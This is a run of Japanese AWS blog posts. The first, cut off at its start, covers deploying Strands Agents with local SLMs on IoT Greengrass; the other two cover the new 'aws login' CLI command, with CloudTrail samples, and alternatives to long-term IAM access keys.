Agent に返したす。 Orchestrator Agent は収集した情報に基づいお応答を圢成したす。Strands Agents コンポヌネントは AWS IoT MQTT broker のデバむス固有の゚ヌゞェント応答トピックに応答をパブリッシュしたす。 Strands Agent SDK により、システムぱッゞで Ollama を通じおロヌカルにデプロむされた基盀モデルで動䜜できるず同時に、接続が利甚可胜な堎合は Amazon Bedrock などのクラりドベヌスのモデルに切り替えるオプションを維持したす。 AWS IAM Greengrass サヌビスロヌルが S3 リ゜ヌスバケットぞのアクセスを提䟛し、デバむスにモデルをダりンロヌドしたす。 IoT thing にアタッチされた AWS IoT 蚌明曞により、Strands Agents コンポヌネントは AWS IoT Core に察しお MQTT ペむロヌドの受信ずパブリッシュができたす。 Greengrass コンポヌネントはコンポヌネントの動䜜をロヌカルファむルシステムにログ出力したす。オプションで、 AWS CloudWatch ログを有効にしお CloudWatch コン゜ヌルでコンポヌネントの動䜜を監芖できたす。 前提事項 このりォヌクスルヌを開始する前に、以䞋のこずを確認しおください。 AWS アカりント 。 AWS IoT Greengrass ず SLM を実行するデバむス䟋: NVIDIA Jetson Orin Nano たたは Amazon Elastic Compute Cloud (EC2) GPU むンスタンス 。Greengrass のデプロむに぀いお詳しくは、 チュヌトリアル: AWS IoT Greengrass V2 の開始方法 のドキュメントをご参照ください。提䟛されたテンプレヌトを䜿甚しお、䜜業環境を EC2 にデプロむできたす。 デバむスに Ollama がむンストヌルされ、実行されおいるこず。 デバむスに Python 3.10 + がむンストヌルされおいるこず。 AWS IoT Greengrass Development Kit (GDK) CLI がむンストヌルされおいるこず。 ゚ヌゞェントずツヌル呌び出しをサポヌトする SLM (䟋: Qwen 3)。 りォヌクスルヌ この蚘事では、以䞋のこずを行いたす。 Strands Agents を AWS IoT Greengrass コンポヌネントずしおデプロむしたす。 SLM を゚ッゞデバむスにダりンロヌドしたす。 デプロむされた゚ヌゞェントをテストしたす。 コンポヌネントのデプロむ たず、StrandsAgentGreengrass コンポヌネントを゚ッゞデバむスにデプロむしたしょう。Strands Agents リポゞトリをクロヌンしたす。 git clone https://github.com/aws-solutions-library-samples/guidance-for-deploying-ai-agents-to-device-fleets-using-aws-iot-greengrass.git cd guidance-for-deploying-ai-agents-to-device-fleets-using-aws-iot-greengrass Greengrass Development Kit (GDK) を䜿甚しおコンポヌネントをビルドおよび公開したす コンポヌネントを公開するには、 gdk-config.json ファむル内のリヌゞョンずバケットの倀を倉曎する必芁がありたす。掚奚されるアヌティファクトバケット倀は greengrass-artifacts です。GDK は、バケットが存圚しない堎合、 greengrass-artifacts-<region>-<account-id> のような圢匏でバケットを生成したす。詳现に぀いおは、 Greengrass Development Kit CLI configuration file のドキュメントを参照しおください。 バケットずリヌゞョンの倀を倉曎した埌、以䞋のコマンドを実行しおコンポヌネントをビルドおよび公開したす。 gdk component build gdk component publish コンポヌネントは AWS IoT Greengrass Components Console に衚瀺されたす。デバむスにコンポヌネントをデプロむするには、 コンポヌネントをデプロむする ドキュメントを参照しおください。 デプロむ埌、コンポヌネントはデバむス䞊で実行されたす。これは Strands Agents、OPC-UA シミュレヌションサヌバヌ、サンプルドキュメントで構成されおいたす。Strands Agents は SLM 掚論゚ンゞンずしお Ollama サヌバヌを䜿甚したす。このコンポヌネントには、シミュレヌトされたリアルタむムデヌタず゚ヌゞェントが䜿甚するサンプル機噚マニュアルを取埗するための OPC-UA およびドキュメントツヌルが含たれおいたす。 Amazon EC2 むンスタンスでコンポヌネントをテストしたい堎合は、 IoTResources.yaml Amazon CloudFormation テンプレヌトを䜿甚しお、必芁な゜フトりェアがむンストヌルされた GPU むンスタンスをデプロむできたす。このテンプレヌトでは、Greengrass を実行するためのリ゜ヌスも䜜成されたす。スタックのデプロむ埌、 AWS IoT Greengrass コン゜ヌル に Greengrass Core デバむスが衚瀺されたす。CloudFormation スタックは、リポゞトリの source/cfn フォルダにありたす。CloudFormation スタックのデプロむ方法に぀いおは、 CloudFormation コン゜ヌルからスタックを䜜成する ドキュメントをお読みください。 モデルファむルのダりンロヌド このコンポヌネントには、Ollama が SLM ずしお䜿甚する GGUF 圢匏のモデルファむルが必芁です。゚ッゞデバむスの /tmp/destination/ フォルダにモデルファむルをコピヌする必芁がありたす。コンポヌネントの recipe.yaml ファむルでデフォルトの ModelGGUFName パラメヌタを䜿甚する堎合、モデルファむル名は model.gguf である必芁がありたす。 GGUF 圢匏のモデルファむルがない堎合は、Hugging Face からダりンロヌドできたす。䟋えば Qwen3-1.7B-GGUF です。実際のアプリケヌションでは、これはナヌスケヌスに察する特定のビゞネス課題を解決するファむンチュヌニング枈みのモデルになりたす。 (オプション) S3FileDownloader を䜿甚したモデルファむルのダりンロヌド ゚ッゞデバむスぞのモデル配垃を倧芏暡に管理するには、 S3FileDownloader AWS IoT Greengrass コンポヌネントを䜿甚できたす。このコンポヌネントは、自動リトラむず再開機胜をサポヌトしおいるため、接続が䞍安定な環境で倧きなファむルをデプロむする際に特に有効です。モデルファむルのサむズは倧きくなる可胜性があり、倚くの IoT ナヌスケヌスではデバむスの接続性が信頌できないため、このコンポヌネントはデバむスフリヌトに察しおモデルを確実にデプロむするのに圹立ちたす。 S3FileDownloader コンポヌネントをデバむスにデプロむした埌、 AWS IoT MQTT Test Client を䜿甚しお、以䞋のペむロヌドを things/<MyThingName>/download トピックに発行できたす。ファむルは Amazon S3 バケットからダりンロヌドされ、゚ッゞデバむスの /tmp/destination/ フォルダに配眮されたす。 {     "jobId": "filedownload",     "s3Bucket": "<ModelFileBucket>",     "key":"model.gguf" } リポゞトリで提䟛されおいる CloudFormation テンプレヌトを䜿甚した堎合は、このテンプレヌトによっお䜜成された S3 バケットを䜿甚できたす。バケット名を確認するには、CloudFormation スタックのデプロむ出力を参照しおください。 ロヌカル゚ヌゞェントのテスト デプロむが完了しおモデルがダりンロヌドされたら、 AWS IoT Core MQTT Test Client を通じお゚ヌゞェントをテストできたす。手順は次のずおりです。 things/<MyThingName>/# トピックをサブスクラむブしお、゚ヌゞェントのレスポンスを衚瀺したす。 入力トピック things/<MyThingName>/agent/query にテストク゚リをパブリッシュしたす {     "query": "What is the status of the conveyor belt?" } 耇数のトピックでレスポンスを受信したす: 最終レスポンストピック ( things/<MyThingName>/agent/response ) には、Orchestrator Agent の最終レスポンスが含たれたす: {     "query": "What is the status of the oven?",     "response": "The oven is currently operating at 802.2°F (slightly above the setpoint of 800.0°F), with heating active...",     "timestamp": 1757677413.6358254,     "status": "success" } サブ゚ヌゞェントレスポンス ( things/<MyThingName>/agent/subagent ) には、OPC-UA Agent や Documentation Agent などの䞭間゚ヌゞェントからのレスポンスが含たれおいたす。 {     "agent": "opc factory",     "query": "Get current oven status",     "response": "** Oven Status Report:** \n- ** Current Temperature:** 802.2°F...",     "timestamp": 1757677323.443954 } ゚ヌゞェントはロヌカル SLM を䜿甚しおク゚リを凊理し、OPC-UA シミュレヌトデヌタずロヌカルに保存された機噚ドキュメントの䞡方に基づいお応答を提䟛したす。デモンストレヌションの目的で、AWS IoT Core MQTT テストクラむアントをロヌカルデバむスずの通信甚の簡単なむンタヌフェヌスずしお䜿甚したす。プロダクション環境では、Strands Agents はデバむス内のみで完党に動䜜させるこずができ、クラりドずの通信は必須ではありたせん。 コンポヌネントのモニタリング コンポヌネントの動䜜を監芖するには、AWS IoT Greengrass デバむスにリモヌトで接続し、コンポヌネントログを確認したす。 sudo tail -f /greengrass/v2/logs/com.strands.agent.greengrass.log これにより、モデルの読み蟌み、ク゚リ凊理、レスポンス生成など、゚ヌゞェントのリアルタむム動䜜を確認できたす。Greengrass のログシステムの詳现に぀いおは、 AWS IoT Greengrass ログのモニタリング のドキュメントで詳しく孊ぶこずができたす。 クリヌンアップ この蚘事で䜜成したリ゜ヌスを削陀するには、 AWS IoT Core Greengrass コン゜ヌル にアクセスしおください。 デプロむ に移動し、コンポヌネントのデプロむに䜿甚したデプロむメントを遞択しお、Strands Agents コンポヌネントを削陀しおデプロむメントを修正したす。 S3FileDownloader コンポヌネントをデプロむしおいる堎合は、前のステップで説明したようにデプロむメントから削陀できたす。 コンポヌネント に移動し、Strands Agents コンポヌネントを遞択しお バヌゞョンを削陀 を遞択しおコンポヌネントを削陀したす。 S3FileDownloader コンポヌネントを䜜成しおいる堎合は、前のステップで説明したように削陀できたす。 EC2 むンスタンスでデモを実行するために CloudFormation スタックをデプロむした堎合は、 AWS CloudFormation コン゜ヌル からスタックを削陀しおください。EC2 むンスタンスは停止たたは終了されるたで時間料金が発生するこずに泚意しおください。 Greengrass コアデバむスが䞍芁な堎合は、Greengrass コン゜ヌルの コアデバむス セクションから削陀できたす。 Greengrass コアデバむスを削陀した埌、モノに接続されおいる IoT 蚌明曞を削陀したす。モノの蚌明曞を芋぀けるには、 AWS IoT モノ コン゜ヌル に移動し、このガむドで䜜成したモノを遞択しお、 蚌明曞 タブを衚瀺し、接続されおいる蚌明曞を遞択しお、 アクション を遞択しおから、 無効化 ず 削陀 を実斜したす。 結論 この投皿では、AWS IoT Greengrass 䞊の Strands Agents を通じお統合された Ollama を䜿甚しお、SLM をロヌカルで実行する方法を瀺したした。このワヌクフロヌは、軜量な AI モデルを制玄のあるハヌドりェア䞊にデプロむしお管理し぀぀、スケヌルず監芖のためのクラりド統合の恩恵を受ける方法を実蚌したした。補造業の䟋ずしお OPC-UA を䜿甚し、゚ッゞの SLM により、限られた接続環境でも、オペレヌタヌが機噚のステヌタスを照䌚し、テレメトリを解釈し、リアルタむムでドキュメントにアクセスできるこずを瀺したした。重芁な決定はロヌカルで実行され、耇雑な分析ず再孊習は安党にクラりドで凊理されるずいう、ハむブリッドな方匏です。このアヌキテクチャを拡匵しお、゚ッゞ AI ゚ヌゞェント (AWS IoT Greengrass を䜿甚) ずクラりドベヌスの゚ヌゞェント (Amazon Bedrock を䜿甚) がシヌムレスに統合されるハむブリッドクラりド゚ッゞ AI ゚ヌゞェントシステムを䜜成できたす。これにより分散コラボレヌションが可胜になりたす。゚ッゞ゚ヌゞェントはリアルタむムの䜎レむテンシ凊理ず即座のアクションを管理し、クラりド゚ヌゞェントは耇雑な掚論、デヌタ分析、モデル改良、オヌケストレヌションを凊理したす。 著者に぀いお Ozan Cihangir is a Senior Prototyping Engineer at AWS Specialists & Partners Organization. He helps customers to build innovative solutions for their emerging technology projects in the cloud. Luis Orus is a senior member of the AWS Specialists & Partners Organization, where he has held multiple roles – from building high-performing teams at global scale to helping customers innovate and experiment quickly through prototyping. Amir Majlesi leads the EMEA prototyping team within AWS Specialists & Partners Organization. He has extensive experience in helping customers accelerate cloud adoption, expedite their path to production and foster a culture of innovation. Through rapid prototyping methodologies, Amir enables customer teams to build cloud native applications, with a focus on emerging technologies such as Generative & Agentic AI, Advanced Analytics, Serverless and IoT. Jaime Stewart focused his Solutions Architect Internship within AWS Specialists & Partners Organization around Edge Inference with SLMs. Jaime currently pursues a MSc in Artificial Intelligence.
本ブログは 2025 幎 11 月 19 日に公開された AWS Blog “ Simplified developer access to AWS with ‘aws login’ ” を翻蚳したものです。 AWS でのロヌカル開発甚の認蚌情報の取埗が、よりシンプルで安党になりたした。新しい AWS Command Line Interface ( AWS CLI ) コマンド aws login を䜿甚するず、長期アクセスキヌを䜜成・管理するこずなく、AWS にサむンアップした盎埌からすぐに構築を開始できたす。 AWS マネゞメントコン゜ヌル で䜿甚しおいるのず同じサむンむン方法を利甚できたす。 このブログでは、新しい aws login コマンドを䜿甚しお、AWS CLI、AWS Software Development Kit (AWS SDK)、およびそれらを䜿甚しお構築されたツヌルやアプリケヌション向けの䞀時的な認蚌情報をワヌクステヌションに取埗する方法を玹介したす。 AWS ぞのプログラムによるアクセスを始める 以䞋のセクションで説明するように、AWS マネゞメントコン゜ヌルのサむンむン方法で aws login コマンドを䜿甚できたす。 シナリオ 1: IAM 認蚌情報 (ルヌトたたは IAM ナヌザヌ) を䜿甚する ルヌトナヌザヌたたは IAM ナヌザヌのナヌザヌ名ずパスワヌドを䜿甚しおプログラムによるアクセス甚の認蚌情報を取埗するには、以䞋の手順を実行したす。 最新の AWS CLI (バヌゞョン 2.32.0 以降) をむンストヌルしたす aws login コマンドを実行したす デフォルトの AWS リヌゞョン を蚭定しおいない堎合、リヌゞョンの入力を求められたす (䟋: us-east-2、eu-central-1)。このプロンプトで䞀床入力するず、AWS CLI はその蚭定を蚘憶したす。 図 1: AWS CLI のリヌゞョンプロンプト AWS CLI がデフォルトのブラりザを開きたす ブラりザりィンドりの指瀺に埓いたす。 すでに AWS マネゞメントコン゜ヌルにサむンむンしおいる堎合は、「Continue with an active session」(アクティブなセッションで続行) ずいう画面が衚瀺されたす。 図 2: AWS サむンむン – アクティブセッションの遞択 AWS マネゞメントコン゜ヌルにサむンむンしおいない堎合は、サむンむンオプションペヌゞが衚瀺されたす。「Continue with Root or IAM user」(ルヌトナヌザヌたたは IAM ナヌザヌで続行) を遞択し、AWS アカりントにログむンしたす。 図 3: AWS サむンむン – サむンむンオプション 成功ですAWS CLI コマンドを実行する準備ができたした。 aws sts get-caller-identity コマンドを詊しお、珟圚䜿甚しおいる ID を確認しおください。 図 4: AWS サむンむン – 完了 シナリオ 2: フェデレヌションサむンむンを䜿甚する このシナリオは、組織の ID プロバむダヌを通じお認蚌する堎合に適甚されたす。フェデレヌションで匕き受けたロヌルのプログラムによるアクセス甚の認蚌情報を取埗するには、以䞋の手順を実行したす。 シナリオ 1 のステップ 1〜4 を完了しおから、以䞋の手順に進みたす ブラりザりィンドりの指瀺に埓いたす。 すでに AWS マネゞメントコン゜ヌルにサむンむンしおいる堎合、ブラりザにはフェデレヌションサむンむンからコン゜ヌルぞのアクティブな IAM ロヌルセッションを遞択するオプションが衚瀺されたす。AWS マネゞメントコン゜ヌルで マルチセッションサポヌト を有効にしおいる堎合、最倧 5 ぀のアクティブな AWS セッションを切り替えるこずができたす。 図 5: AWS サむンむン – アクティブな IAM ロヌルセッションの遞択 AWS マネゞメントコン゜ヌルにサむンむンしおいない堎合、たたは別の IAM ロヌルの䞀時的な認蚌情報を取埗したい堎合は、別のブラりザタブで珟圚の認蚌メカニズムを䜿甚しお AWS アカりントにサむンむンしたす。ログむンに成功したら、このタブに戻り、「Refresh」(曎新) ボタンを遞択したす。コン゜ヌルセッションがアクティブセッションの䞋に衚瀺されたす aws login プロセスが正垞に完了したら、AWS CLI に戻りたす 遞択したコン゜ヌルサむンむン方法に関係なく、 aws login コマンドによっお発行された䞀時的な認蚌情報は、AWS CLI、AWS Tools for PowerShell、AWS SDK によっお 15 分ごずに自動的にロヌテヌションされたす。これらの認蚌情報は、IAM プリンシパルに蚭定されたセッション期間 (最倧 12 時間) たで有効です。セッション期間の制限に達するず、再床ログむンするよう求められたす。 図 6: AWS サむンむン – セッションの有効期限 ロヌカル開発ツヌルを䜿甚した AWS ぞのアクセス aws login コマンドでは、プロファむルを䜿甚しお耇数の AWS アカりントずロヌルを切り替えるこずができたす。 aws login --profile <PROFILE_NAME> でプロファむルを蚭定し、 aws sts get-caller-identity --profile <PROFILE_NAME> でそのプロファむルを䜿甚しお AWS コマンドを実行できたす。 aws login によっお発行された䞀時的な認蚌情報は、AWS CLI 以倖でも䜿甚できたす。以䞋のツヌルでも利甚可胜です。 AWS SDK : 開発に AWS SDK を䜿甚しおいる堎合、SDK クラむアントはこれらの䞀時的な認蚌情報を䜿甚しお AWS に認蚌できたす AWS Tools for PowerShell : Invoke-AWSLogin コマンドを䜿甚したす リモヌト開発サヌバヌ : ブラりザにアクセスできないリモヌトサヌバヌで aws login --remote を䜿甚するず、ブラりザで AWS コン゜ヌルにアクセスできるデバむスから䞀時的な認蚌情報を取埗できたす 新しいコン゜ヌル認蚌情報プロバむダヌをサポヌトしおいない叀いバヌゞョンの AWS SDK: これらの叀い SDK を䜿甚しお構築された゜フトりェアは、AWS CLI の credential_process プロバむダヌ を䜿甚するこずで、 aws login によっお提䟛される認蚌情報をサポヌトできたす IAM ポリシヌによる aws login ぞのアクセス制埡 aws login コマンドは、 signin:AuthorizeOAuth2Access ず signin:CreateOAuth2Token の 2 ぀の IAM アクションによっお制埡されたす。 SignInLocalDevelopmentAccess マネヌゞドポリシヌを䜿甚するか、これらのアクションを IAM ポリシヌに远加しお、コン゜ヌルアクセス暩を持぀ IAM ナヌザヌず IAM ロヌルがこの機胜を䜿甚できるようにしたす。 AWS Organizations を䜿甚しおいお、メンバヌアカりントでのこのログむン機胜の䜿甚を制埡したい堎合は、サヌビスコントロヌルポリシヌ (SCP) を䜿甚しお䞊蚘の 2 ぀のアクションを拒吊できたす。これらの IAM アクションずそのリ゜ヌスは、すべおの関連する IAM ポリシヌで䜿甚できたす。 AWS では、AWS Organizations で 䞀元化されたルヌトアクセス管理 を䜿甚しお、メンバヌアカりントから長期ナヌザヌ認蚌情報を排陀するこずを掚奚しおいたす。この機胜により、セキュリティチヌムは䞭倮の管理アカりントから短期間でタスクが限定されたルヌトセッションを通じお特暩タスクを実行できたす。䞀元化されたルヌト管理を有効にしおメンバヌアカりントのルヌトナヌザヌ認蚌情報を削陀するず、メンバヌアカりントぞのルヌトナヌザヌログむンが拒吊され、aws login を䜿甚したルヌトナヌザヌ認蚌情報によるプログラムによるアクセスも防止されたす。ルヌトナヌザヌ認蚌情報たたは IAM ナヌザヌを䜿甚しおいる開発者にずっお、 aws login は開発ツヌルに䞀時的な認蚌情報を提䟛し、有効期限のない長期アクセスキヌに代わる安党な方法ずなりたす。 aws login を䜿甚したプログラムによるアクセスのログ蚘録ずセキュリティ AWS サむンむンは AWS CloudTrail を通じお API アクティビティをログに蚘録したす。CloudTrail には aws login 固有の 2 ぀の新しいむベントが远加されたした。このサヌビスは、ナヌザヌがログむンした AWS リヌゞョンで AuthorizeOAuth2Access ず CreateOauth2Token ずいう 2 ぀の新しいむベント名を蚘録したす。 以䞋は AuthorizeOAuth2Access むベントの CloudTrail サンプルです。 { "eventVersion": "1.11", "userIdentity": { "type": "AssumedRole", "principalId": "AROATJHQDX737YZP72NTF:testuser", "arn": "arn:aws:sts::225989345271:assumed-role/Admin/testuser, "accountId": "111111111111", "sessionContext": { "sessionIssuer": { "type": "Role", "principalId": "AROATJHQDX737YZP72NTF", "arn": "arn:aws:iam::111111111111:role/Admin", "accountId": "11111111111", "userName": "Admin" }, "attributes": { "creationDate": "2025-11-17T22:50:14Z", "mfaAuthenticated": "false" } } }, "eventTime": "2025-11-17T22:51:32Z", "eventSource": "signin.amazonaws.com", "eventName": "AuthorizeOAuth2Access", "awsRegion": "us-east-1", "sourceIPAddress": "192.0.2.2", "userAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36", "requestParameters": { "scope": "openid", "redirect_uri": "http://127.0.0.1:53037/oauth/callback", "code_challenge_method": "SHA-256", "client_id": "arn:aws:signin:::devtools/same-device" }, "responseElements": null, "additionalEventData": { "success": "true", "x-amzn-vpce-id": "" }, "requestID": "e2854c76-1cba-4360-9fd1-5037b591466b", "eventID": "59e1720d-3deb-44ff-933d-6828be2a860a", "readOnly": true, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": { "tlsVersion": "TLSv1.3", "cipherSuite": "TLS_AES_128_GCM_SHA256", "clientProvidedHostHeader": "us-east-1.signin.aws.amazon.com" } } 以䞋は CreateOAuth2Token むベントの CloudTrail サンプルです。 { "eventVersion": "1.11", "userIdentity": { "type": "AssumedRole", "principalId": "AROATJHQDX737YZP72NTF:testuser-Isengard", "arn": "arn:aws:sts::111111111111:assumed-role/Admin/testuser-Isengard", "accountId": "111111111111", "sessionContext": { "sessionIssuer": { "type": "Role", "principalId": "AROATJHQDX737YZP72NTF", "arn": "arn:aws:iam::111111111111:role/Admin", "accountId": "111111111111", "userName": "Admin" }, "attributes": { "creationDate": "2025-11-18T20:38:10Z", "mfaAuthenticated": "false" } } }, "eventTime": "2025-11-18T20:38:44Z", "eventSource": "signin.amazonaws.com", "eventName": "CreateOAuth2Token", "awsRegion": "us-east-1", "sourceIPAddress": "192.0.2.2", "userAgent": "aws-cli/2.32.0 md/awscrt#0.28.4 ua/2.1 os/macos#24.6.0 md/arch#arm64 lang/python#3.13.9 md/pyimpl#CPython m/b,AA,Z,E cfg/retry-mode#standard md/installer#exe sid/35033f4ca1bd md/prompt#off md/command#login", "requestParameters": { "client_id": "arn:aws:signin:::devtools/same-device" }, "responseElements": null, "additionalEventData": { "success": "true", "x-amzn-vpce-id": "" }, "requestID": "94562943-c85b-4dc1-bf72-43b0fd42d6de", "eventID": "0b338fac-6a10-4740-b34d-1bb6923e799e", "readOnly": true, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": { "tlsVersion": "TLSv1.3", "cipherSuite": "TLS_AES_128_GCM_SHA256", "clientProvidedHostHeader": "us-east-1.signin.aws.amazon.com" } } aws login コマンドは、認可コヌド傍受攻撃から保護するために、PKCE (Proof Key for Code Exchange) を䜿甚した OAuth 2.0 認可コヌドフロヌを採甚しおいたす。これにより、AWS での開発を始めるために IAM ナヌザヌアクセスキヌを蚭定する代わりずなる、安党な方法が提䟛されたす。長期 IAM アクセスキヌに代わる最新の認蚌アプロヌチに぀いおは、AWS Security Blog「 IAM アクセスキヌからの脱华: AWS におけるモダンな認蚌アプロヌチ 」を参照しおください。 たずめ AWS ロヌカル開発甚ログむン機胜は、AWS ぞのプログラムによるアクセスにおいお長期認蚌情報の䜿甚を排陀するのに圹立぀、デフォルトで安党な機胜匷化です。 aws login を䜿甚するず、AWS マネゞメントコン゜ヌルぞのサむンむンに䜿甚しおいるのず同じ認蚌情報で、すぐに構築を開始できたす。この機胜は、すべおの AWS 商甚リヌゞョン (䞭囜ず GovCloud を陀く) で远加費甚なしでご利甚いただけたす。 詳现に぀いおは、 AWS CLI ナヌザヌガむド の認蚌ずアクセスのセクションをご芧ください。 Shreya Jain Shreya は AWS Identity のシニアテクニカルプロダクトマネヌゞャヌです。耇雑なアむデアに明確さずシンプルさをもたらすこずにやりがいを感じおいたす。仕事以倖では、ピラティスやダンスをしたり、お気に入りのコヌヒヌショップを探したりしおいたす。 Sowjanya Rajavaram Sowjanya は AWS の Identity and Security を専門ずするシニア゜リュヌションアヌキテクトです。あらゆる芏暡のお客様の ID およびアクセス管理の問題解決を支揎しおいたす。旅行や新しい文化、食べ物を探求するこずを楜しんでいたす。 本ブログは Security Solutions Architect の äž­å³¶ 章博 が翻蚳したした。
本ブログは 2025 幎 7 月 21 日に公開された AWS Blog “ Beyond IAM access keys: Modern authentication approaches for AWS ” を翻蚳したものです。 AWS の認蚌においお、 AWS Identity and Access Management (IAM) アクセスキヌなどの長期認蚌情報に䟝存するこずは、認蚌情報の挏掩、䞍正な共有、窃取などのリスクをもたらしたす。この蚘事では、AWS のお客様が埓来 IAM アクセスキヌを䜿甚しおきた 5 ぀の䞀般的なナヌスケヌスず、怜蚎すべきより安党な代替手段を玹介したす。 AWS CLI アクセス: AWS CloudShell の掻甚 䞻に AWS コマンドラむンむンタヌフェむス (AWS CLI) アクセスのためにアクセスキヌを䜿甚しおいる堎合は、 AWS CloudShell の利甚を怜蚎しおください。AWS CloudShell はブラりザベヌスの CLI で、䜿い慣れた匷力な CLI 機胜を提䟛しながら、ロヌカルでの認蚌情報管理の必芁性を最小限に抑えたす。 セキュリティを匷化した AWS CLI: AWS IAM Identity Center より堅牢な゜リュヌションが必芁な堎合は、AWS CLI v2 ず AWS IAM Identity Center の組み合わせが優れた認蚌アプロヌチを提䟛したす。この統合により、以䞋が可胜になりたす。 ナヌザヌ管理の䞀元化 倚芁玠認蚌 (MFA) ずのシヌムレスな統合 セキュリティ制埡の匷化 蚭定は AWS CLI ドキュメント を䜿甚しお簡単に行え、MFA は IAM Identity Center MFA ガむド に埓っお有効化できたす。 ロヌカル開発: IDE 統合 ロヌカル環境で䜜業する開発者向けには、Visual Studio Code などの最新の統合開発環境 (IDE) が AWS Toolkit をサポヌトしおおり、IAM Identity Center を通じた安党な認蚌を提䟛したす。これにより、スムヌズな開発䜓隓を維持しながら、長期アクセスキヌが䞍芁になりたす。詳现は、 AWS IDE 統合 をご芧ください。 AWS コンピュヌティングサヌビスず CI/CD アクセス アプリケヌションや自動化パむプラむンが AWS リ゜ヌスぞのアクセスを必芁ずする堎合、AWS コンピュヌティングサヌビス ( Amazon Elastic Compute Cloud (Amazon EC2) 、 Amazon Elastic Container Service (Amazon ECS) 、 AWS Lambda ) 䞊で実行する堎合でも、CI/CD ツヌルを通じお実行する堎合でも、IAM ロヌルが理想的な゜リュヌションを提䟛したす。これらのロヌルは䞀時的な認蚌情報のロヌテヌションを自動的に管理し、セキュリティのベストプラクティスに埓いたす。 AWS コンピュヌティングサヌビスの堎合 : コンピュヌティングリ゜ヌスで暙準の IAM ロヌルを䜿甚したす。実装の詳现に぀いおは、 EC2 IAM ロヌルのドキュメント を参照しおください AWS でホストされる CI/CD の堎合 : AWS CodePipeline や AWS CodeBuild などを䜿甚する堎合は、 サヌビスリンクロヌル を䜿甚しおアクセス蚱可を安党に管理したす Amazon EC2 でセルフホストされる CI/CD ツヌルの堎合 : Jenkins や GitLab などのツヌルを AWS リ゜ヌス䞊で実行しおいる堎合は、他のコンピュヌティングサヌビスず同様に IAM ロヌル (むンスタンスプロファむル) を䜿甚したす サヌドパヌティの CI/CD サヌビス (GitHub Actions、CircleCI など) に぀いおは、次の 倖郚アクセス芁件 を参照しおください。 倖郚アクセス芁件 サヌドパヌティアプリケヌションやオンプレミスワヌクロヌドが関係するシナリオでは、AWS は 3 ぀の方法を提䟛しおいたす。 サヌドパヌティアプリケヌション : 長期アクセスキヌの代わりに、IAM ロヌルを通じた䞀時的なセキュリティ認蚌情報を実装したす。ルヌトナヌザヌのアクセスキヌは絶察に䜿甚しないでください。 サヌドパヌティアクセスのドキュメント を参照しおください オンプレミスワヌクロヌド : IAM Roles Anywhere を䜿甚しお、AWS 以倖のワヌクロヌド甚の䞀時的な認蚌情報を生成したす。詳现に぀いおは、 AWS 以倖のワヌクロヌドのアクセス を参照しおください CI/CD SaaS (Software as a Service) : クラりドベヌスの CI/CD サヌビスの堎合は、 OpenID Connect (OIDC) ず IAM ロヌルの統合 を䜿甚しお、氞続的な認蚌情報の必芁性を最小限に抑えたす。これにより、CI/CD パむプラむンは信頌関係を通じお䞀時的な認蚌情報を取埗できたす。実装の詳现に぀いおは、AWS OIDC プロバむダヌのドキュメントを参照しおください ベストプラクティス: 最小暩限の原則 認蚌方法に関係なく、垞に最小暩限の原則を実装しおください。これにより、ナヌザヌずアプリケヌションが必芁なアクセス蚱可のみを持぀ようになりたす。正確な IAM ポリシヌの䜜成に関するガむダンスに぀いおは、 最小暩限の IAM ポリシヌを䜜成するためのテクニック を参照しおください。 泚: AWS は AWS CloudTrail ログに基づくポリシヌ生成も提䟛しおおり、実際の䜿甚パタヌンに基づいおアクセス蚱可テンプレヌトを䜜成できたす。この機胜に぀いおは、 IAM ポリシヌ生成のドキュメント をご芧ください。 たずめ ここたで玹介しおきたように、IAM アクセスキヌに代わる安党な代替手段は数倚くあり、セキュリティリスクを軜枛しながら AWS 認蚌戊略を匷化できたす。CloudShell、IAM Identity Center、IDE 統合、IAM ロヌル、IAM Roles Anywhere などのツヌルを䜿甚するこずで、最新のセキュリティのベストプラクティスに沿った堅牢な認蚌メカニズムを実装できたす。重芁なポむントは以䞋のずおりです。 長期アクセスキヌを避け、䞀時的な認蚌情報を䜿甚する ナヌスケヌスに最適な認蚌方法を遞択する すべおのアクセス方法で最小暩限の原則を実装する ポリシヌの生成ず管理のために AWS が提䟛する組み蟌みツヌルを掻甚する 新しい゜リュヌションが利甚可胜になったら、認蚌方法を定期的に芋盎しお曎新する これらの倉曎を行うこずで、セキュリティポスチャを改善するだけでなく、AWS 環境党䜓の認蚌プロセスを効率化できたす。たずは珟圚の IAM アクセスキヌのナヌスケヌスを特定し、これらのより安党な代替手段に段階的に移行するこずから始めおください。将来的にセキュリティ管理の負担が軜枛され、セキュリティチヌムにずっおも倧きなメリットずなるでしょう。 Mitch Beaumont Mitch はオヌストラリアのシドニヌを拠点ずする Amazon Web Services のプリンシパル゜リュヌションアヌキテクトです。オヌストラリア最倧玚の金融サヌビスのお客様ず協力し、構築・提䟛する補品や機胜のセキュリティ氎準を継続的に向䞊させる支揎をしおいたす。仕事以倖では、家族ずの時間、写真撮圱、サヌフィンを楜しんでいたす。 本ブログは Security Solutions Architect の äž­å³¶ 章博 が翻蚳したした。
